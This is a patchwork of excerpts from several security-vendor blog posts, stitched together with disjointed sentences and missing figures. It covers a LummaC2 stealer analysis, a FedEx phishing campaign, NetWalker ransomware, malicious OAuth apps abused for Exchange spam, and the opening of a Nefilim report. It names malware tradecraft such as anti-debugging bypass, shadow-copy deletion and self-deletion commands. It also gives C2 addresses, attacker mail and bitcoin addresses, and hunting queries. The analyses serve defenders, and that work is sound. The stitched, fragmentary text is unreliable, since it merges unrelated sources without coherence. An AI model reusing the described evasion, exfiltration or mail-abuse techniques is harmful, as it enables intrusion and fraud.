Now, let’s move on to the detailed dynamic analysis stage, verify what we found in the “static analysis” section, and check if we can change the request to the C2 address.


IsDebuggerPresent By changing the return value for IsDebuggerPresent, one of the most critical APIs we put in breakpoint, we perform the anti-debugging bypass operation.


LummaC2 stealer sends this information to its C2 server, as shown below.


If we try to skip this part directly, the process will terminate.


We found the C2 address by researching VirusTotal.


As a result, network activity was observed.


The POST request is performed as follows.


Host: 195[.]123[.]226[.]91 You can find Shodan results about the host address here.


This means that the C2 is transmitted as a zip file during the POST request.


The collected data is transferred to the C2 server as a zip file.


Since Microsoft Edge and Mozilla Firefox are installed in our analysis environment, Lumma Stealer only collects data from these browsers.


When we begin examining from the lowest to the highest in size, we find only the “System.txt” file in the lowest size file.


Its contents are specified in the following image.


When we examine the file named Mozilla Firefox, when we view the .db file called cookies, we can see that it collects the following cookie information.


In conclusion, Lumma Stealer collects cookie information, search histories, and key inputs from browsers and transfers them to the C2 address.


As seen in the screenshot below, the results of “collections,” “communicating files,” and “referer files” are displayed.


We noticed a large number of open ports when we searched through Shodan, where 144[.]76[.]173[.]247 IP addresses in Germany caught our attention.


We accessed C2 while visiting port 80. (VirusTotal Graph: Collection)


In the next step, when we visit port 80, the login page can be displayed.


C2:144[.]76[.]173[.]247/login Analyst Note:


The IP address 144[.]76[.]173[.]247 was not encountered during the analysis.


Shodan Result Communication Addresses Requests 195[.]123[.]226[.]91 POST /c2sock: multipart/form-data;boundary=оaj195iak20ka99441aj1 144[.]76[.]173[.]247 GET/login LummaC2 behaves like other stealer-type malware, which can take away system and sensitive data from the victim’s machine.


These dangerous programs can usually steal information from web browsers and target crypto wallets.


The additional information stored on web browsers, such as login credentials, PII, and financial information, can be further leveraged to conduct fraud activities.


Threat actors can use the stolen data to steal cryptocurrencies from the victim’s accounts or sell this data to other threat actors for financial gain. Indicators of Compromise You can find the full list of IOCs in the SOCRadar Platform.


Rules & Signatures MITRE ATT&CK Matrix Discovery System Information Discovery T1082 Defense Evasion Debugger Evasion T1622 Defense Evasion Deobfuscate/Decode Files or Information T1140 Defense Evasion Impair Defences T1562 Collection Automated Collection T1119 Collection Data from the Local System T1005 Command and Control Application Layer Protocol T1071 Exfiltration Automated Exfiltration T1020 The post Malware Analysis: LummaC2 Stealer appeared first on SOCRadar:registered: Cyber Intelligence Inc..


This type of social engineering attack is commonly found in phishing pages, emails, and other scams, where a false sense of urgency is created to urge the victim into doing an action that eventually leads to personal data theft.

FedEx Phishing Campaign Abusing TrustedForm and PAAY


This specific phishing campaign is noteworthy because it abuses two cloud services throughout the attack: TrustedForm, a digital certificate service provided by ActiveProspectis, is abused to track victims and collect information about them, and the PAAY 3DS, a cloud-based platform that authenticates payment transactions, is abused to validate the credit card details collected from the victims.


Cybersecurity awareness training, specifically educating users to be wary of fake shipment notifications, is an effective defense against these types of phishing attacks.


Netskope customers also receive protection from the threats discussed in this blog through the Next Generation Secure Web Gateway (SWG).


First Stage – Deception


The attack starts when the victim receives an email or a text message that uses a common social engineering technique, creating a false sense of urgency to get the victim’s attention.


The specific approach here, using a fake shipping notification, is also a common technique used by scammers.


First steps of this FedEx phishing campaign.


Step 1 – Once the victim reaches the page via phishing email or SMS text, they are instructed to click “Confirm” to view a message from “Express.”


This webpage has “FedEx” in the title and uses the same company colors to deceive the user.


The customs fee is just an excuse to collect the victim’s personal and credit card data in the next stage of the attack.


The JSON includes the questions, form fields, and second-stage URLs, which will be all used in the next steps.


JSON containing data about the phishing.


Step 5 – The deception continues by giving the victim a delivery estimate.


As soon as the victim interacts with the questions on step 4, the phishing starts sending requests to the TrustedForm API.


TrustedForm is a digital certificate service provided by ActiveProspect, which provides marketing automation and compliance platforms.


We believe that the attacker is creating a TrustedForm certificate to collect more information about victims.


Phishing page abusing TrustedForm.


Below is the type of information that would be available in a TrustedForm certificate, as demonstrated in their demo webpage.


Phishing page redirecting the victim to the next stage.


Phishing trying to steal personal and credit card data.


Step 6 – This page asks for the victim’s personal information, such as the full name, phone number, and email address.


Step 7 – Then, the page asks for credit card details and uses PAAY to assess whether the credit card is valid.


This is done by using their 3DS (3-D Secure) system, which is a protocol designed to add more security and prevent fraud in online purchases.


Unsurprisingly, if the victim allows notifications, they are bombarded with ads from the “virtualpushplatform[.]com” domain, including ads for fake antivirus software, fake coupons, and free iPads.


Phishing page asking permission to show notifications.


These ads lead to webpages that eventually ask for personal information or try to download malware.


So, even in case the phishing attack fails at any stage, if the victim allows notifications, they will still be targeted with additional scams.


Conclusions By abusing cloud services, attackers are able to create more elaborate phishing pages that are also more resilient to detection.


This phishing campaign is not only trying to steal data from victims, but also abuses browser notifications to bombard victims with additional scams even if this one is unsuccessful.


Netskope uses ML-based inline, out-of-band phishing detection engines, and threat intelligence systems to block such phishing attempts.


Recommendations Phishing pages from the campaign described in the post are easily recognizable by the URL, as the attacker has made little effort to disguise the URL using typosquatting or other techniques.


We strongly recommend users to never enter their data on pages that promise something, such as the delivery of a supposedly suspended package.


Netskope Threat Labs also recommends that organizations review their security policies to ensure that they are adequately protected against these and similar phishing pages and scams: Inspect all HTTP and HTTPs traffic, including all web and cloud traffic, to prevent users from visiting malicious websites.


Netskope customers can configure their Netskope NG-SWG with a URL filtering policy to block known phishing and scam sites, and a threat protection policy to inspect all web content to identify unknown phishing and scam sites using a combination of signatures, threat intelligence, and machine learning.


Use Remote Browser Isolation (RBI) technology to provide additional protection when there is a need to visit websites that fall in categories that can present higher risk, like Newly Observed and Newly Registered Domains.


Executive Summary The NetWalker ransomware, initially known as Mailto, was first detected in August 2019.


NetWalker has noticeably evolved to a more stable and robust ransomware-as-a-service (RaaS) model, and our research suggests that the malware operators are targeting and attracting a broader range of technically advanced and enterprising criminal affiliates.


McAfee Advanced Threat Research (ATR) discovered a large sum of bitcoins linked to NetWalker which suggest its extortion efforts are effective and that many victims have had no option other than to succumb to its criminal demands.


We approached our investigation of NetWalker with some possible ideas about the threat actor behind it, only to later disprove our own hypothesis.


We believe the inclusion of our thinking, and the means with which we debunked our own theory, highlight the importance of thorough research and we welcome further discussion on this topic.


We also encourage our peers in the industry to share information with us in case you have more evidence.


McAfee protects its customers against the malware covered in this blog in all its products, including personal antivirus, endpoint and gateway.


To learn more about how McAfee products can defend against these types of attacks, visit our blog on Building Adaptable Security Architecture Against NetWalker.


Introduction Since 2019, NetWalker ransomware has reached a vast number of different targets, mostly based in western European countries and the US.


During the COVID-19 pandemic, the adversaries behind NetWalker clearly stated that hospitals will not be targeted; whether they keep to their word remains to be seen.


The ransomware appends a random extension to infected files and uses Salsa20 encryption.


It uses some tricks to avoid detection, such as a new defence evasion technique, known as reflective DLL loading, to inject a DLL from memory.


The NetWalker collective, much like those behind Maze, REvil and other ransomware, threatens to publish victims’ data if ransoms are not paid.


People who already have a foothold in a potential victim’s network and can exfiltrate data with ease are especially sought after.


This is not surprising, considering that publishing a victims’ data is part of NetWalker’s model.


The following sections are dedicated to introducing the NetWalker malware and displaying the telemetry status before moving on to the technical malware analysis of the ransomware’s behaviour.


We will explain how the decryptor works and show some interactions between NetWalker’s operators and their victims.


After this, we discuss the changes in modus operandi since September 2019, especially regarding payment behaviour.


Then we show our attempts, unfruitful as they were, at discovering a link between NetWalker and previous, seemingly unrelated ransomware variants.


Telemetry Using McAfee’s billion Insights sensors, we can show the global prevalence of the NetWalker ransomware. Figure 1.


McAfee MVISION Insights shows global prevalence of the NetWalker ransomware Technical Analysis Ransom note (pre-March 2020)


Before March 2020, the NetWalker ransom note indicated how to contact the adversary directly using anonymous email account services with random names (such as kkeessnnkkaa@cock.li and hhaaxxhhaaxx@tuta.io): Figure 2.


Example of ransom note prior to March 2020 Ransom Note (Post-March 2020)


On 12 March 2020, a researcher shared a screenshot of a new NetWalker ransom note in a tweet and we can see that the attackers have changed the contact method significantly.


Email communication has been dropped completely with victims now required to make contact through the NetWalker Tor interface where, after submitting their user key, they will then be redirected to a chat with NetWalker technical support.


The Tor page was not the only noticeable change we will highlight in this blog.


This file is extracted to memory and decrypted using the RC4 algorithm with a hard-coded key in the resource.


Before 12 March 2020, NetWalker used the email contact process between its support operation and the victims to proceed with payment and send the decryption program.


To do this, NetWalker used its configuration file in the resource to set its encryption mode, the name of the ransom note, etc., and email contacts.


Name wwllww.exe Size 96256 bytes File-Type EXE SHA 256 58e923ff158fb5aecd293b7a0e0d305296110b83c6e270786edcc4fea1c8404c Compile time 6 December 2019 Figure 5.


NetWalker resource from wwllww.exe Once decrypted, the configuration file reveals several parameters, allowing us to understand how it works (how it constitutes the ransom note, the number of threads allocated for encryption, etc.): mpk Public key mode Encryption mode thr Allocated threads for encryption process spsz Encryption chunk namesz Name length idsz ID length crmask .mailto[email].{ID} mail Contact mail lfile Ransom Note name lend B64 encoded ransom note white Encryption whitelist kill Processes, tasks, service names to terminate unlocker Decryption exclusion list NetWalker Resource Analysis (Post-March 2020)


This field was replaced by “onion1” and “onion2”, and these fields are set with the NetWalker blog URL/payment page (hxxp://rnfdsgm<snip>drqqd.onion/).


The latter can, for example, be a regular Bitmap (open matrix image format used by Windows) that can be used by malware to execute code or as a payload dropper.


The image’s pixels are an actual binary representation of the payload.


This process can be summarized as Exe -> Resources -> BMP with embedded data in pixels fetched and decrypted by, e.g. a DLL -> Payload), etc.


The NetWalker developers chose custom types by using 1337 or 31337 structs, so the resource format does not change.


The malware sample used for this blog post has the same information: Name c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b 61e1c6f5f010 Size 70656 bytes File-Type EXE SHA 256 c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b 61e1c6f5f010 Compile time 2 May 2020


The unpacked malware is a binary file of 32 bits that can be found as an EXE file.


Figure 7.


Information sample of the malware The malware’s first action is to combine all the required functions it needs into one large function, combining the modules already loaded in Windows with additional DLLs as described below.


Instead of searching for the function in the usual way, the malware makes a CRC32 hash of the name of each function and compares with hardcoded values.


Get the module accessing the PEB and using a CRC32


If the module cannot be discovered, it will load with “LdrLoadDll”, a native function of Windows, to try avoiding hooks in the usual functions, e.g. “LoadLibraryW”: Figure 9.


Get functions from module, e.g. using a CRC32 hash If the malware fails to get a function, it will go to a “sleep” call and terminate itself.


Later, the malware extracts the configuration file from a resource with a custom type and a custom name using the functions “FindResourceA”, “LockResource”, “LoadResource” and “SizeOfResource”.


The file extracted in memory is decrypted using the RC4 algorithm with a hardcoded key in the resource.


Variable size -> the configuration file encrypted.


Finally, it decrypts the configuration file: Figure 11.


Get configuration file and decrypt it If the malware fails to get the configuration file, it will terminate itself.


After getting the configuration file, the malware will parse it and save the fields in memory and write in the registry information to encrypt the files in the machine.


Write in the registry After the writing in the registry has been completed, it will get some privileges using a token as SE_DEBUG_PRIVILEGE and SE_IMPERSONATE_PRIVILEGE: Figure 13.


Volume Shadow copies can contain copies of the encrypted files and would be an option to restore from if no backup exists.


Delete the shadow volumes Later, the malware will enumerate the logical units, prepare the new extension for the future encrypted files, based on the size that is defined in the ransomware config with a random extension, and encrypt all files in the fixed type units and remote units with the new extension.


Crypt the files After all these steps have been completed, it will create the ransom note on the desktop using the functions “SHGetFolderPathlW” and “CreateFileW”.


Subsequently, it will write the ransom note from the memory into a new file with the function “WriteFile”.


The malware will create the ransom note in the root folder (for example “c:\”) of each logical unit.


The batch script will delete the malware sample with its path using the command “del” and finally delete the bat file with the command “del %0%”.


This way the malware tries to remove itself from the machine to avoid being detected and analyzed by security researchers: Figure 17.


Decryptor download The decryptor is delivered in a zip archive containing the decryptor executable and a note explaining how to run the program correctly: Figure 20.


Decryptor execution At the end of the decryption process, the program indicates the number of decrypted files, deletes the ransom note if the user has checked that option, and terminates, leaving the user to resume their work peacefully: Figure 22.


Decryptor has finished the decryption process The decryptor program appears unique and is linked to one victim specifically.


In our example, it only decrypts the files belonging to the victim who made the payment from the user key specified in the ransom note.


Bugatti seems to have joined the underground scene in February 2020 but claims to have been active with NetWalker ransomware since September 2019.


We have seen NetWalker activity before March but there has been a noticeable uptick in larger victims since their advertisement.


For a relatively new ransomware it has been well received and respected among other cybercriminals as compared to, for instance, Nemty ransomware.


Bugatti advertising NetWalker on an underground forum Bugatti provides regular updates on the improvements in the ransomware, such as the popular Invoke-ReflectivePEInjection method, also commonly used by Sodinokibi.


In addition to the improvements in the ransomware, open slots for new affiliates are advertised.


Bugatti strongly emphasized that they are primarily looking for experienced affiliates that focus on compromising the complete networks of organizations as opposed to end users.


NetWalker is clearly following in the footsteps of its illustrious targeted ransomware peers like Sodinokibi, Maze and Ryuk.


We have seen a similar posting in the past with the influential Sodinokibi affiliate Lalartu, so we decided to follow the money once more. Figure 24.


Bugatti is looking for advanced affiliates and shows samples of BTC payments With the help of CipherTrace software we were able to find the complete BTC addresses from the screenshot and investigate the ledger further: Screenshot 1 3JHTYZhRmMcq7WCKRzFN98vWvAZk792w9J Screenshot 2 39aovzbz5rGoQdKjDm6JiybkSu1uGdVJ2V Screenshot 3 39NRnZtgACDVhhmc7RwmvH9ZDUKTNwwaeB Screenshot 4 3L4AW5kHnUCZBBjg2j1LBFCUN1RsHPLxCs Following the Money In the transactions mentioned in the underground forum post, the ransom amount payed by the victims is presumably shown.


In the case of the four posted transactions above, the full amount payed by the victim was transferred to two addresses (these addresses begin with bc1q98 and 1DgLhG respectively).


We then proceeded on to analyze all incoming transactions to these two addresses and we were able to make the following observations: The first incoming transaction occurs on 1 March 2020.


A split like this is typically seen in Ransomware-as-a-Service, where the ransom payment is split between the RaaS operators and the affiliate who caused the infection.


While the beneficiaries of the 5% cuts remain the same, the beneficiary of the 10% cut seems to change over time.


Based on the forum post we assume these addresses also belong to the NetWalker actors.


Payments to the bc1q98 and 1DgLhG addresses that are not being split continue up until the end of May.


Possibly the initial NetWalker operators added a RaaS operation, while continuing to cause NetWalker infections themselves.


While analyzing the bitcoin addresses that received 80% or more of the transaction amount, we noticed that there are some addresses that receive payments multiple times.


A possible explanation could be that the address is configured as payout addresses for a certain campaign or affiliate.


We identified 30 unique bitcoin addresses that seem to be the beneficiary of this larger portion of the ransom transaction.


In the two addresses uncovered by tracing the transactions a total of 641 bitcoin is held on 27 July 2020.


Which at the current market value of bitcoin is worth well over 7 million USD.


Amounts Extorted Working under the hypothesis that all the incoming transactions are ransomware payments; we can make the following observations: We found 23 transactions where the ransom payments were not split up and the beneficiaries are the two bitcoin addresses found by following the transactions mentioned in the underground forum post.


Additionally, the amount received from remaining transactions following the Ransomware-as-a-Service scheme by these addresses between 1 March 2020 and 27 July 2020 is 188 BTC.


In the transactions that are split, the largest amount (usually 80% to 90% of the total transaction value) is presumably transferred to the affiliate that caused the infection.


Even though we do not have complete visibility into the BTC flow before NetWalker started ramping up, one thing is certain, this quarter alone it has been highly successful at extorting organisations for large amounts of money.


Figure 25.


Overview of uncovered bitcoin transactions, highlighting the two identified actor addresses.


Observed Changes While talking about the impact of NetWalker with our partners, we learned that the change in modus operandi not only affected the way the actors communicate with their victims.


The benefits of using the newer SegWit addresses include faster transaction time and lower transaction cost.


This makes us believe the ransomware actors were professionalizing their operation just before expanding to the Ransomware-as-a-Service model.


Comparison with Previous Ransomware Given the sudden appearance of NetWalker ransomware and the associated threat actor, it suggests that some prior knowledge on ransomware development or underground presence had to be in place.


We came across one threat actor offering ransomware that caught our attention.


Some years ago, a threat actor using the moniker Eriknetwalker was advertising ransomware on several underground forums.


We found posts from 2016 and the latest public activity was around June 2019, several months before NetWalker ransomware made its appearance.


Figure 26.


Eriknetwalker began advertising their ransomware in 2016 (Google-translated from Russian)


Based on our underground research, we linked the moniker Eriknetwalker to the development and/or distribution of Amnesia, Bomber and Scarab ransomware.


Eriknetwalker stopped advertising ransomware around June 2019.


Therefore, we decided to perform a comparative analysis between the different ransomware strains linked to Eriknetwalker and some of the earliest versions of NetWalker we could find.


The goal of this comparative analysis was to identify whether there was an overlap between source codes.


To execute the analysis, we used several tools one of which was the binary visualization tool Veles, which dynamically translates binary information into an abstract visualization that allows us to identify and compare patterns.


The different types of ransomware we began analyzing were the variants of Amnesia, Scarab, and NetWalker.


Figure 27.


Flat visualization of binary data of the different ransomware variants Figure 28.


3D visualization of binary data of the different ransomware variants Visualizing data in such a manner is a way to use the human brain to quickly identify patterns and be able to draw comparisons between objects.


In our case, we see that, based on the binary data visualized in Figures 27 and 28, the ransomware binaries do yield differences that we cannot ignore.


Figure 29.


Comparison of source code results Figure 29 shows the results of a source code similarity analysis led on the different variants of ransomware named in the figure itself.


Interesting enough, Scarab and Amnesia show a higher overlap with Buran and Zeppelin than the early NetWalker samples.


This finding disproves our earlier hypothesis that NetWalker is linked to the older Amnesia variants based on code overlap.


Often, research teams do not publish their results when it disproves their own hypothesis.


YARA Rules We uploaded a YARA rule to detect almost all the samples observed in the wild to date.


Indicators of Compromise During our investigation we have observed numerous IoCs linked to NetWalker ransomware.


To obtain them please visit our McAfee ATR GitHub site, or get the latest NetWalker IoCs and intelligence on many other threats with McAfee Insights.


MITRE ATT&CK Techniques


The below techniques were based on our research and complemented with research from industry peers.


Initial Access Exploit Public-Facing Application (T1190) : Exploit Tomcat, Exploit WebLogic Spear phishing Attachment (T1566.001):


Phishing email Valid Accounts (T1078): RDP compromised Execution PowerShell (T1059.001):


Windows Command Shell (003) Service Execution (T1569.002):


Place a value on RunOnce key Modify Registry key (T1112): Create its own registry key in \SOFTWARE\<uniquename> Privilege Escalation Exploitation for Privilege Escalation (T1068): CVE-2020-0796, CVE-2019-1458, CVE-2017-0213, CVE-2015-1701 Process Injection (T1055.001): Reflective DLL Injection Defense Evasion Disabling Security Tools (T1562.001): ESET AV Remover, Trend Micro’s Security Agent Uninstall Tool, Microsoft Security Client Uninstall Process Injection (T1055.001): Reflective DLL Injection Deobfuscate/Decode Files or Information (T1140) Obfuscated Files or Information (T1027): PowerShell Script uses Base64 and hexadecimal encoding and XOR-encryption Credential Access Credential Dumping (T1003): Mimikatz, Mimidogz, Mimikittenz, Windows Credentials Editor, Pwdump, LaZagne Brute Force (T1110.001): NLBrute Discovery Network Service Scanning (T1046): SoftPerfect Network Scanner Security Software Discovery (T1518.001)


System Information Discovery (T1082) Lateral Movement Third-Party Software (T1072): TeamViewer, Anydesk Service Execution (T 1569.002): PsExec Lateral Tool Transfer (T1570) Collection Data from information repositories (T1213) Data from local system (T1005) Data from network shared drive (T1039) Command and Control Ingress Tool Transfer (T1105)


Impact Data Encrypted (T1486): NetWalker Ransomware Inhibit System Recovery (T1490): Shadow Copies Deleted Service Stop (T1489) Conclusion Ransomware has evolved into a lucrative business for threat actors, from underground forums selling ransomware, to offering services such as support portals to guide victims through acquiring crypto currency for payment, to the negotiation of the ransom.


McAfee’s Advanced Threat Research team has analysed the NetWalker ransomware and have been following its evolution from the initial sighting of the Mailto ransomware to its redevelopment into the NetWalker ransomware.


The recent shift to a business-centric model of Ransomware-as-a-Service is a clear sign that it is stepping up, so it seems that the NetWalker group is following in the footsteps of REvil and other successful RaaS groups.


The ransomware developers have proven the ability to refocus and capitalize on current world events and develop lures to help ensure the effectiveness of the ransomware, which has allowed them to become selective of their affiliates by limiting access to the ransomware to only those with vetted access to large organizations.


As development of the ransomware continues, we have witnessed recent shifts in activity that closely follow in the footsteps of other ransomware developments, including threatening victims with the release of confidential information if the ransom is not met.


McAfee ATR is actively monitoring ransomware threats and will continue to update McAfee MVISION Insights and its social networking channels with new and current information.


Check out McAfee MVISION Insights for more information.


If you want to experience some of the MVISION Insights capabilities, go the Preview of MVISION Insights where you can select the top threat information that is available.


Authored by: Thibault Seret, Valentine Mairet, Jeffrey Sman, Alfred Alvarado, Tim Hux, Alexandre Mundo, John Fokker, Marc Rivero Lopez and Thomas Roccia.


The post Take a “NetWalk” on the Wild Side appeared first on McAfee Blog.


Microsoft researchers recently investigated an attack where malicious OAuth applications were deployed on compromised cloud tenants and then used to control Exchange servers and spread spam.

Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog


The investigation revealed that the threat actor launched credential stuffing attacks against high-risk accounts that didn’t have multi-factor authentication (MFA) enabled and leveraged the unsecured administrator accounts to gain initial access.


The unauthorized access to the cloud tenant enabled the actor to create a malicious OAuth application that added a malicious inbound connector in the email server.


The spam emails were sent as part of a deceptive sweepstakes scheme meant to trick recipients into signing up for recurring paid subscriptions.


One of the first observed malicious usage of OAuth applications in the wild is consent phishing.


In the past few years, Microsoft has observed that more and more threat actors, including nation-state actors, have been using OAuth applications for different malicious purposes – command-and-control (C2) communication, backdoors, phishing, redirections, and so on.


As soon as the network was revealed, all the related applications were taken down and notifications to customers were sent, including recommended remediation steps.


The time between application deployment and usage varied; there were cases where the actor took months before using the application.


Initial access For the attack to succeed, the threat actor needed to compromise cloud tenant users with sufficient permissions that would allow the actor to create an application in the cloud environment and give it admin consent.


The actor performed credential stuffing attacks against their targets, attempting to access users with the global admin role.


The same application was later used to deploy the rest of the attack.


Based on the success ratio of the authentication attempts, it is inferred that the attacker used a dump of compromised credentials.


It is also important to note that all the compromised admins didn’t have MFA enabled, which could have stopped the attack.


These observations amplify the importance of securing accounts and monitoring for high-risk users, especially those with high privileges.


Based on analysis of the event user agent (Swagger-Codegen/1.4.0.0/csharp) and how quickly the deployment of the application was done, it is likely that the actor ran a PowerShell script to perform the following Azure Active Directory (AAD) management activities in all targeted tenants: Register a new single–tenant application with the naming convention of [domain name]_([a-zA-Z]){3} (for example: Contoso_GhY)Add the legacy permission Exchange.ManageAsApp which can be used for app-only authentication of Exchange Online PowerShell moduleGrant admin consent to the above permissionGive global admin and Exchange admin roles to the previously registered applicationAdd application credentials (key/certificate/both) The threat actor added their own credentials to the OAuth application, which enabled them to access the application even if the initially compromised global administrator changed their password.


The activities mentioned gave the threat actor control of a highly privileged application.


It was observed that the threat actor did not always use the application right after it was deployed.


In some cases, it took weeks or months before the application was utilized.


Also, in organizations that didn’t monitor for suspicious applications, the applications were deployed for months and used multiple times by the threat actor.


Modifying Exchange settings The threat actor used the privileged application to authenticate the Exchange Online PowerShell module and modify the Exchange settings of the compromised server.


Most organizations using Microsoft 365 and Office 365 don’t need custom connectors for regular mail flow, but some use it when they need to process messages from another messaging system that’s not running Exchange, or if they have a network appliance that performs policy checks and then routes messages to their Exchange server.


The threat actor set a new inbound connector with the naming convention Ran_([a-zA-Z]){5} (for example Ran_xAFzd).


The purpose of the inbound connector was to allow mails from certain IPs (that are related to the attacker’s infrastructure) to flow through the victim’s Exchange server.


This allowed the threat actor to send emails that looked like they originated from the compromised Exchange domain.


The configuration information for the newly created connectors were seen in Exchange audit event New-InboundConnector.


The following table shows the configuration parameters in the audit event related to this change: NameValue“Name”“Ran_jBelh”“Enabled”“True”“CloudServicesMailEnabled”“True”“RestrictDomainsToCertificate”“False”“SenderDomains”“smtp:*;1”“SenderIPAddresses”“170.75.174.97;170.75.172.8;170.75.170.69;170.75.174.95; 54.39.94.145;149.56.200.36;158.69.21.185;66.70.201.131”“RestrictDomainsToIPAddresses”“True”“ConnectorSource”“HybridWizard”“EFSkipIPs”“170.75.174.97;170.75.172.8;170.75.170.69;170.75.174.95; 54.39.94.145;149.56.200.36;158.69.21.185;66.70.201.131”“TreatMessagesAsInternal”“False”“ConnectorType”“OnPremises”“RequireTls”“False”Create transport rules Transport rules (also known as mail flow rules) are sets of actions that can be taken on any mail that flows in the organization.


The threat actor utilized this feature to set 12 new transport rules with the naming convention of Test01 to Test012.


Each of these transport rules were responsible for deleting the following specific headers from every mail that flowed in the organization: X-MS-Exchange-ExternalOriginalInternetSenderX-MS-Exchange-SkipListedInternetSenderReceived-SPFReceivedARC-Authentication-ResultsARC-Message-SignatureDKIM-SignatureARC-SealX-MS-Exchange-SenderADCheckX-MS-Exchange-Authentication-ResultsAuthentication-ResultsX-MS-Exchange-AntiSpam-MessageData-ChunkCountBy deleting these headers, the attacker tried defense evasion to prevent security products or email providers detecting or blocking their emails and increase the success rate of the spam campaign.


The configuration information for the newly created transport rules were seen in Exchange audit event New-TransportRule.


The following table shows the configuration parameters in the audit event related to this change: NameValue“Name”“Test06”“SenderAddressLocation”“Header”“RemoveHeader”“ARC-Message-Signature”These modifications to the Exchange server settings allowed the threat actor to perform their primary goal in the attack: sending out spam emails.


Based on our research, this actor has sent high volumes of spam emails in short timeframes through other methods, such as connecting to mail servers from rogue IP addresses or sending directly from legitimate cloud-based bulk email sending infrastructure.


While the scheme possibly led to unwanted charges for targets, there was no evidence of overt security threats such as credential phishing or malware distribution.


The spam campaign carried the hallmarks of this actor: programmatically generated messages containing two visible hyperlinked images in the email body, as well as dynamic and randomized content injected within the HTML body of each mail message to evade spam filters. Figure 3.


An example of spam email sent through the Exchange inbound connectorThe hyperlinked images within the spam messages implied to recipients that they were eligible for a prize.


Once clicked, the hyperlink directed recipients to a website where they were asked to complete a survey and provide credit card details to pay for the shipping of their prize.


Clicking the image in the spam email leads to this website indicating a prize has been wonThe fine print, visible only by scrolling to the very bottom of a subsequent page, revealed that in providing their credit card information, recipients were not paying a shipping fee for their prize, but were in fact agreeing to be charged fees for several paid subscription services in order to enter into a sweepstakes for the prize.


It is likely the threat actor’s main motive was potential financial gain from people who fell victim to this deceptive sweepstakes spam campaign.


Figure 5.


Examples of dynamic URL generation (domain obfuscated)This spam campaign exclusively targeted consumer email accounts.


In the case of spam messages sent to Microsoft-hosted consumer email accounts (outlook.com), the spam emails were moved into customers’ junk folders before they could be viewed and clicked.


Mitigations While the follow-on spam campaign targets consumer email accounts, this attack targets enterprise tenants to use as infrastructure for this campaign.


The most common initial access vector observed in this attack was account compromise through credential stuffing, and all the compromised administrator accounts did not have MFA enabled.


Implementing security practices that strengthen account credentials such as enabling MFA raises the cost of an attack.


Enable conditional access policies Conditional access policies are evaluated and enforced every time the user attempts to sign in.


Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.


Enable security defaults While some of the features mentioned above require paid subscriptions, the security defaults in Azure AD, which is mainly for organizations using the free tier of Azure Active Directory licensing, are sufficient to better protect the organizational identity platform, as they provide preconfigured security settings such as MFA, protection for privileged activities, and others.


Each product can provide a different aspect for protection to cover the techniques observed in this attack: Microsoft 365 Defender Suspicious email-sending pattern from new Exchange inbound connector – This alert is generated when a suspicious email-sending pattern originating from a new Exchange inbound connector is detected.


This behavior might suggest that an attacker set a malicious inbound connector to allow anonymous relay through the organization’s Exchange server.


Recommended reading to response for malicious connector incidents: New transport rule removing antispam header –


This alert is generated when a new transport rule to remove antispam header is detected.


Suspicious inbound connector and transport rule created to remove sender email headers – This alert is generated when a suspicious inbound connector and transport rule is created to remove headers that identify the true source address of sender.


This might indicate a spam campaign is ongoing from the organization’s mailbox.


Suspicious Azure AD app creation – This alert is generated when a user account creates Azure Active Directory OAuth application with suspicious characteristics, as observed in this campaign.


Microsoft Defender for Office 365 Microsoft Defender for Office 365 detects threat activity associated with this spamming campaign through the following email security alerts.


We’re listing them here because we recommend that these alerts be investigated and remediated immediately.


Microsoft removes the infected messages from Exchange Online mailboxes using zero-hour auto purge (ZAP) if this event occurs.


Microsoft Defender for Cloud Apps Activity from suspicious IP addresses.


These IP addresses were identified as being involved in malicious activities, such as performing password spray, botnet C2, and may indicate a compromised account.


Activity from a password-spray associated IP address.


Activity related to this campaign will trigger the following alert: OAuth app with suspicious metadata has Exchange permission. This alert is generated when a line of business OAuth app with suspicious metadata has privilege to manage permission over Exchange, which can lead an OAuth App to perform data collection or exfiltration activities or attempts to access and retrieve sensitive information.


It detects suspicious sign-in attempts and raises any of the following alerts: Anomalous Token.


This alert flags a token’s unusual characteristics, such as its token lifetime or played from an unfamiliar location.


Unfamiliar sign-in properties.


In this phishing campaign, the attackers used multiple proxies or VPNs originating from various countries or regions unfamiliar to the target user.


This alert flags anomalies in the token claims, token age, and other authentication attributes.


This alert flag sign-in attempts from anonymous IP addresses (for example, Tor browser or anonymous VPN).Hunting queries To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: Applications given the “Exchange.ManageAsApp” permission: CloudAppEvents | where Timestamp > ago(30d) | where ActionType == "Add app role assignment to service principal.


ResultStatus == "Success" | where RawEventData has "dc50a0fb-09a3-484d-be87-e023b12c6440" //Exchange.ManageAsApp


Role Id | project Timestamp, AccountObjectId,AccountDisplayName, AppId = RawEventData.ModifiedProperties[0].NewValue, AppName = RawEventData.


ModifiedProperties[6].NewValue New transport rules that remove anti-spam headers from emails: CloudAppEvents | where ActionType == "New-TransportRule" | mvexpand Param = RawEventData.


Parameters | where Param.


Name == "RemoveHeader" and Param.


Value contains "X-MS-Exchange-AntiSpam-MessageData" | project Timestamp, AccountObjectId, AccountDisplayName, ServicePrincipalId = tostring(RawEventData.


AppId)


Over the past year there has been a rise in extortion malware that focuses on stealing sensitive data and threatening to publish the data unless a ransom is paid.


This technique bypasses some of the mitigations put in place, such as backups, which would allow IT organizations to recover data without having to pay such a ransom.


About Nefilim Ransomware Nefilim ransomware emerged in March 2020 when Nemty operators quit the ransomware as a service model to concentrate their energy on more targeted attacks with more focused resources.


The author of the Nemty ransomware also appears to have shared Nemty’s source code with others.


Sharing many notable similarities with Nemty version 2.5, Nefilim has the capabilities to move laterally within networks.


The hackers target organizations using the unpatched or poorly secured Citrix remote-access technology, stealing data and then deploying ransomware.


Nefilim attackers exfiltrate sensitive data before encryption.


When ransoms are not paid, they have been known to shame victims by posting their data on the dark web. Technical Details Initial access Nefilim ransomware is distributed through exposed Remote Desktop Protocol (RDP) setups by brute-forcing them and using other known vulnerabilities for initial access, i.e. vulnerabilities in Citrix gateway devices.


Nefilim places a heavy emphasis on Remote Desktop Protocols.


Once an attacker gains a foothold on the victim system, the attacker drops and executes its components such as anti-antivirus, exfiltration tools, and finally Nefilim itself.


Lateral Movement Among the various tactics and techniques used by the attackers, they rely on tools such as PsExec to remotely execute commands in their victims’ networks.


